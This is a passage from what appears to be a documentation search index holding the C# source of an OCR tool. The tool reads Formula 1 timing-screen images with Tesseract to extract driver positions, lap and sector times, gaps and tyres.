containing the image informations public static byte[] ImageToByte(Image inputImage) { using (var stream = new MemoryStream()) { inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\"; int result = 0; switch (windowType) { case OcrImage.WindowType.Sector: //The usual sector is in this form : 33.456 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.\"); break; case OcrImage.WindowType.LapTime: //The usual Lap time is in this form : 1:45:345 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.:\"); break; case OcrImage.WindowType.Gap: //The usual Gap is in this form : + 34.567 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.+\"); break; default: Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); break; } Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); Page page = Engine.Process(tessImage); Graphics g = Graphics.FromImage(enhancedImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Get the text for the current element try { rawResult += iter.GetText(PageIteratorLevel.Word); } catch { //nothing we just dont add it if its not a number } } while (iter.Next(PageIteratorLevel.Word)); } List rawNumbers; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if (windowType == OcrImage.WindowType.Gap) rawResult = Regex.Replace(rawResult, \"[^0-9.:]\", \"\"); //Splits into minuts seconds miliseconds rawNumbers = rawResult.Split('.', ':').ToList(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == \"\"); if (rawNumbers.Count == 3) { //mm:ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); } else { if (rawNumbers.Count == 2) { //ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); if (result > 999999) { //We know that we have way too much seconds to make a minut //Its usually because the \":\" have been interpreted as a number int minuts = (int)(rawNumbers[0][0] - '0'); // rawNumbers[0][1] should contain the : that has been mistaken int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); int ms = Convert.ToInt32(rawNumbers[1]); result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); } } else { if (rawNumbers.Count == 1) { try { result = Convert.ToInt32(rawNumbers[0]); } catch { //It can be because the input is empty or because its the LEADER bracket result = 0; } } else { //Auuuugh result = 0; } } } page.Dispose(); return result; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = \"\", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = \"\"; Engine.SetVariable(\"tessedit_char_whitelist\", allowedChars); Bitmap rawData = WindowImage; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); using (var iter = page.GetIterator()) { iter.Begin(); do { result += iter.GetText(PageIteratorLevel.Word); } while (iter.Next(PageIteratorLevel.Word)); } page.Dispose(); return result; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions) { Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel); return sample; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch(List options, string testString) { var closestMatch = \"\"; var closestDistance = int.MaxValue; foreach (var item in options) { var distance = LevenshteinDistance(item, testString); if (distance < closestDistance) { closestMatch = item; closestDistance = distance; } } return closestMatch; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance(string string1, string string2) { if (string.IsNullOrEmpty(string1)) { return string.IsNullOrEmpty(string2) ? 0 : string2.Length; } if (string.IsNullOrEmpty(string2)) { return string.IsNullOrEmpty(string1) ? 0 : string1.Length; } var d = new int[string1.Length + 1, string2.Length + 1]; for (var i = 0; i <= string1.Length; i++) { d[i, 0] = i; } for (var j = 0; j <= string2.Length; j++) { d[0, j] = j; } for (var i = 1; i <= string1.Length; i++) { for (var j = 1; j <= string2.Length; j++) { var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1; d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost); } } return d[string1.Length, string2.Length]; } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\"\" + \":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + Environment.NewLine; result += \"}\"; return result; } } }","title":"Window.cs"},{"location":"Code/Window.html#windowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.IO; using Tesseract; using System.Text.RegularExpressions; using System.Drawing.Drawing2D; namespace Test_Merge { public class Window { private Rectangle _bounds; private Bitmap _image; private string _name; protected TesseractEngine Engine; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap Image { get => _image; set => _image = value; } public string Name { get => _name; protected set => _name = value; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\"); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap image, Rectangle bounds, bool generateEngine = true) { Image = image; Bounds = bounds; if (generateEngine) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng() { return \"NaN\"; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng(List driverList) { return \"NaN\"; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte[] ImageToByte(Image inputImage) { using (var stream = new MemoryStream()) { inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\"; int result = 0; switch (windowType) { case OcrImage.WindowType.Sector: //The usual sector is in this form : 33.456 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.\"); break; case OcrImage.WindowType.LapTime: //The usual Lap time is in this form : 1:45:345 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.:\"); break; case OcrImage.WindowType.Gap: //The usual Gap is in this form : + 34.567 Engine.SetVariable(\"tessedit_char_whitelist\", \"0123456789.+\"); break; default: Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); break; } Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); Page page = Engine.Process(tessImage); Graphics g = Graphics.FromImage(enhancedImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Get the text for the current element try { rawResult += iter.GetText(PageIteratorLevel.Word); } catch { //nothing we just dont add it if its not a number } } while (iter.Next(PageIteratorLevel.Word)); } List rawNumbers; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if (windowType == OcrImage.WindowType.Gap) rawResult = Regex.Replace(rawResult, \"[^0-9.:]\", \"\"); //Splits into minuts seconds miliseconds rawNumbers = rawResult.Split('.', ':').ToList(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == \"\"); if (rawNumbers.Count == 3) { //mm:ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); } else { if (rawNumbers.Count == 2) { //ss:ms result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); if (result > 999999) { //We know that we have way too much seconds to make a minut //Its usually because the \":\" have been interpreted as a number int minuts = (int)(rawNumbers[0][0] - '0'); // rawNumbers[0][1] should contain the : that has been mistaken int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); int ms = Convert.ToInt32(rawNumbers[1]); result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); } } else { if (rawNumbers.Count == 1) { try { result = Convert.ToInt32(rawNumbers[0]); } catch { //It can be because the input is empty or because its the LEADER bracket result = 0; } } else { //Auuuugh result = 0; } } } page.Dispose(); return result; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = \"\", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = \"\"; Engine.SetVariable(\"tessedit_char_whitelist\", allowedChars); Bitmap rawData = WindowImage; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); using (var iter = page.GetIterator()) { iter.Begin(); do { result += iter.GetText(PageIteratorLevel.Word); } while (iter.Next(PageIteratorLevel.Word)); } page.Dispose(); return result; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions) { Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel); return sample; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch(List options, string testString) { var closestMatch = \"\"; var closestDistance = int.MaxValue; foreach (var item in options) { var distance = LevenshteinDistance(item, testString); if (distance < closestDistance) { closestMatch = item; closestDistance = distance; } } return closestMatch; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance(string string1, string string2) { if (string.IsNullOrEmpty(string1)) { return string.IsNullOrEmpty(string2) ? 0 : string2.Length; } if (string.IsNullOrEmpty(string2)) { return string.IsNullOrEmpty(string1) ? 0 : string1.Length; } var d = new int[string1.Length + 1, string2.Length + 1]; for (var i = 0; i <= string1.Length; i++) { d[i, 0] = i; } for (var j = 0; j <= string2.Length; j++) { d[0, j] = j; } for (var i = 1; i <= string1.Length; i++) { for (var j = 1; j <= string2.Length; j++) { var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1; d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost); } } return d[string1.Length, string2.Length]; } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\"\" + \":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + Environment.NewLine; result += \"}\"; return result; } } }","title":"Window.cs"},{"location":"Code/DriverData.html","text":"DriverData.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverData.cs /// Brief : Class used to store Driver informations /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class DriverData { public bool DRS; //True = Drs is opened public int GapToLeader; //In ms public int LapTime; //In ms public string Name; //Ex: LECLERC public int Position; //Ex: 1 public int Sector1; //in ms public int Sector2; //in ms public int Sector3; //in ms public Tyre CurrentTyre;//Ex Soft 11 laps public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre) { DRS = dRS; GapToLeader = gapToLeader; LapTime = lapTime; Name = name; Position = position; Sector1 = sector1; Sector2 = sector2; Sector3 = sector3; CurrentTyre = tyre; } public DriverData() { DRS = false; GapToLeader = -1; LapTime = -1; Name = \"Unknown\"; Position = -1; Sector1 = -1; Sector2 = -1; Sector3 = -1; CurrentTyre = new Tyre(Tyre.Type.Undefined, -1); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString() { string result = \"\"; //Position result += \"Position : \" + Position + Environment.NewLine; //Gap result += \"GapToLeader : \" + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine; //LapTime result += \"LapTime : \" + Reader.ConvertMsToTime(LapTime) + Environment.NewLine; //DRS result += \"DRS : \" + DRS + Environment.NewLine; //Tyres result += \"Uses \" + CurrentTyre.Coumpound + \" tyre \" + CurrentTyre.NumberOfLaps + \" laps old\" + Environment.NewLine; //Name result += \"DriverName : \" + Name + Environment.NewLine; //Sector 1 result += \"Sector1 : \" + Reader.ConvertMsToTime(Sector1) + Environment.NewLine; //Sector 1 result += \"Sector2 : \" + Reader.ConvertMsToTime(Sector2) + Environment.NewLine; //Sector 1 result += \"Sector3 : \" + Reader.ConvertMsToTime(Sector3) + Environment.NewLine; return result; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft, Medium, Hard, Inter, Wet, Undefined } public Type Coumpound; public int NumberOfLaps; public Tyre(Type type, int laps) { Coumpound = type; NumberOfLaps = laps; } } }","title":"DriverData.cs"},{"location":"Code/DriverData.html#driverdatacs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverData.cs /// Brief : Class used to store Driver informations /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class DriverData { public bool DRS; //True = Drs is opened public int GapToLeader; //In ms public int LapTime; //In ms public string Name; //Ex: LECLERC public int Position; //Ex: 1 public int Sector1; //in ms public int Sector2; //in ms public int Sector3; //in ms public Tyre CurrentTyre;//Ex Soft 11 laps public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre) { DRS = dRS; GapToLeader = gapToLeader; LapTime = lapTime; Name = name; Position = position; Sector1 = sector1; Sector2 = sector2; Sector3 = sector3; CurrentTyre = tyre; } public DriverData() { DRS = false; GapToLeader = -1; LapTime = -1; Name = \"Unknown\"; Position = -1; Sector1 = -1; Sector2 = -1; Sector3 = -1; CurrentTyre = new Tyre(Tyre.Type.Undefined, -1); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString() { string result = \"\"; //Position result += \"Position : \" + Position + Environment.NewLine; //Gap result += \"GapToLeader : \" + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine; //LapTime result += \"LapTime : \" + Reader.ConvertMsToTime(LapTime) + Environment.NewLine; //DRS result += \"DRS : \" + DRS + Environment.NewLine; //Tyres result += \"Uses \" + CurrentTyre.Coumpound + \" tyre \" + CurrentTyre.NumberOfLaps + \" laps old\" + Environment.NewLine; //Name result += \"DriverName : \" + Name + Environment.NewLine; //Sector 1 result += \"Sector1 : \" + Reader.ConvertMsToTime(Sector1) + Environment.NewLine; //Sector 1 result += \"Sector2 : \" + Reader.ConvertMsToTime(Sector2) + Environment.NewLine; //Sector 1 result += \"Sector3 : \" + Reader.ConvertMsToTime(Sector3) + Environment.NewLine; return result; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft, Medium, Hard, Inter, Wet, Undefined } public Type Coumpound; public int NumberOfLaps; public Tyre(Type type, int laps) { Coumpound = type; NumberOfLaps = laps; } } }","title":"DriverData.cs"},{"location":"Code/DriverLapTimeWindow.html","text":"DriverLapTimeWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverLapTimeWindow:Window { public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"LapTime\"; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); return result; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverLapTimeWindow.html#driverlaptimewindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverLapTimeWindow:Window { public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"LapTime\"; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); return result; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverSectorWindow.html","text":"DriverSectorWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverSectorWindow:Window { public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Sector\"+sectorId; } /// /// Decodes the sector /// /// the sector time in int (ms) public override async Task DecodePng() { int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); return ocrResult; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/DriverSectorWindow.html#driversectorwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { internal class DriverSectorWindow:Window { public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Sector\"+sectorId; } /// /// Decodes the sector /// /// the sector time in int (ms) public override async Task DecodePng() { int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); return ocrResult; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/Form1.html","text":"Form1.cs \ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void btnSettings_Click(object sender, EventArgs e) { Settings settingsForm = new Settings(); settingsForm.ShowDialog(); MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); } } }","title":"Form1.cs"},{"location":"Code/Form1.html#form1cs","text":"\ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void btnSettings_Click(object sender, EventArgs e) { Settings settingsForm = new Settings(); settingsForm.ShowDialog(); MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear); } } }","title":"Form1.cs"},{"location":"Code/Reader.html","text":"Reader.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Text.Json; namespace Test_Merge { public class Reader { const int NUMBER_OF_DRIVERS = 20; public List Drivers; public List MainZones; public Reader(string configFile, Bitmap image,bool loadOCR = true) { MainZones = Load(image,configFile,ref Drivers,loadOCR); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public static List Load(Bitmap image,string configFilePath,ref List driverListToFill,bool LoadOCR) { List mainZones = new List(); Bitmap fullImage = image; List drivers; Zone mainZone; try { using (var streamReader = new StreamReader(configFilePath)) { var jsonText = streamReader.ReadToEnd(); var jsonDocument = JsonDocument.Parse(jsonText); var driversNames = jsonDocument.RootElement.GetProperty(\"Drivers\"); driverListToFill = new List(); foreach (var nameElement in driversNames.EnumerateArray()) { driverListToFill.Add(nameElement.GetString()); } var mainProperty = jsonDocument.RootElement.GetProperty(\"Main\"); Point MainPosition = new Point(mainProperty.GetProperty(\"x\").GetInt32(), mainProperty.GetProperty(\"y\").GetInt32()); Size MainSize = new Size(mainProperty.GetProperty(\"width\").GetInt32(), mainProperty.GetProperty(\"height\").GetInt32()); Rectangle MainRectangle = new Rectangle(MainPosition, MainSize); mainZone = new Zone(image, MainRectangle,\"Main\"); var zones = mainProperty.GetProperty(\"Zones\"); var driverZone = zones[0].GetProperty(\"DriverZone\"); Point FirstZonePosition = new Point(driverZone.GetProperty(\"x\").GetInt32(), driverZone.GetProperty(\"y\").GetInt32()); Size FirstZoneSize = new Size(driverZone.GetProperty(\"width\").GetInt32(), driverZone.GetProperty(\"height\").GetInt32()); var windows = driverZone.GetProperty(\"Windows\"); var driverPosition = windows[0].GetProperty(\"Position\"); Size driverPositionArea = new Size(driverPosition.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverPositionPosition = new Point(driverPosition.GetProperty(\"x\").GetInt32(), driverPosition.GetProperty(\"y\").GetInt32()); var driverGapToLeader = windows[0].GetProperty(\"GapToLeader\"); Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty(\"x\").GetInt32(), driverGapToLeader.GetProperty(\"y\").GetInt32()); var driverLapTime = windows[0].GetProperty(\"LapTime\"); Size driverLapTimeArea = new Size(driverLapTime.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverLapTimePosition = new Point(driverLapTime.GetProperty(\"x\").GetInt32(), driverLapTime.GetProperty(\"y\").GetInt32()); var driverDrs = windows[0].GetProperty(\"DRS\"); Size driverDrsArea = new Size(driverDrs.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverDrsPosition = new Point(driverDrs.GetProperty(\"x\").GetInt32(), driverDrs.GetProperty(\"y\").GetInt32()); var driverTyres = windows[0].GetProperty(\"Tyres\"); Size driverTyresArea = new Size(driverTyres.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverTyresPosition = new Point(driverTyres.GetProperty(\"x\").GetInt32(), driverTyres.GetProperty(\"y\").GetInt32()); var driverName = windows[0].GetProperty(\"Name\"); Size driverNameArea = new Size(driverName.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverNamePosition = new Point(driverName.GetProperty(\"x\").GetInt32(), driverName.GetProperty(\"y\").GetInt32()); var driverSector1 = windows[0].GetProperty(\"Sector1\"); Size driverSector1Area = new Size(driverSector1.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector1Position = new Point(driverSector1.GetProperty(\"x\").GetInt32(), driverSector1.GetProperty(\"y\").GetInt32()); var driverSector2 = windows[0].GetProperty(\"Sector2\"); Size driverSector2Area = new Size(driverSector2.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector2Position = new Point(driverSector2.GetProperty(\"x\").GetInt32(), driverSector2.GetProperty(\"y\").GetInt32()); var driverSector3 = windows[0].GetProperty(\"Sector3\"); Size driverSector3Area = new Size(driverSector3.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector3Position = new Point(driverSector3.GetProperty(\"x\").GetInt32(), driverSector3.GetProperty(\"y\").GetInt32()); float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count); Bitmap MainZoneImage = mainZone.ZoneImage; List zonesToAdd = new List(); List zonesImages = new List(); for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset)); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), \"DriverZone\"); zonesToAdd.Add(newDriverZone); zonesImages.Add(newDriverZone.ZoneImage); newDriverZone.ZoneImage.Save(\"Driver\"+i+\".png\"); } //Parallel.For(0, NUMBER_OF_DRIVERS, i => for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Zone newDriverZone = zonesToAdd[(int)i]; Bitmap zoneImg = zonesImages[(int)i]; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR)); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR)); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR)); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR)); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR)); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR)); mainZone.AddZone(newDriverZone); }//); //MessageBox.Show(\"We have a main zone with \" + MainZone.Zones.Count() + \" Driver zones with \" + MainZone.Zones[4].Windows.Count() + \" windows each and we have \" + Drivers.Count + \" drivers\"); mainZones.Add(mainZone); } } catch (IOException ex) { MessageBox.Show(\"Error reading JSON file: \" + ex.Message); } catch (JsonException ex) { MessageBox.Show(\"Invalid JSON format: \" + ex.Message); } return mainZones; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public async Task Decode(List mainZones,List drivers) { string result = \"\"; List mainResults = new List(); //Decode for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++) { switch (mainZoneId) { case 0: //Main Zone foreach (Zone z in mainZones[mainZoneId].Zones) { mainResults.Add(await z.Decode(Drivers)); } break; //Next there could be a Title Zone and TrackInfoZone } } //Display foreach (DriverData driver in mainResults) { result += driver.ToString(); result += Environment.NewLine; } return result; } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime(int amountOfMs) { //Convert.ToInt32 would round upand I dont want that int minuts = (int)((float)amountOfMs / (1000f * 60f)); int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000); int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000)); return minuts + \":\" + seconds.ToString(\"00\") + \":\" + ms.ToString(\"000\"); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw(Bitmap image,List mainZones) { Graphics g = 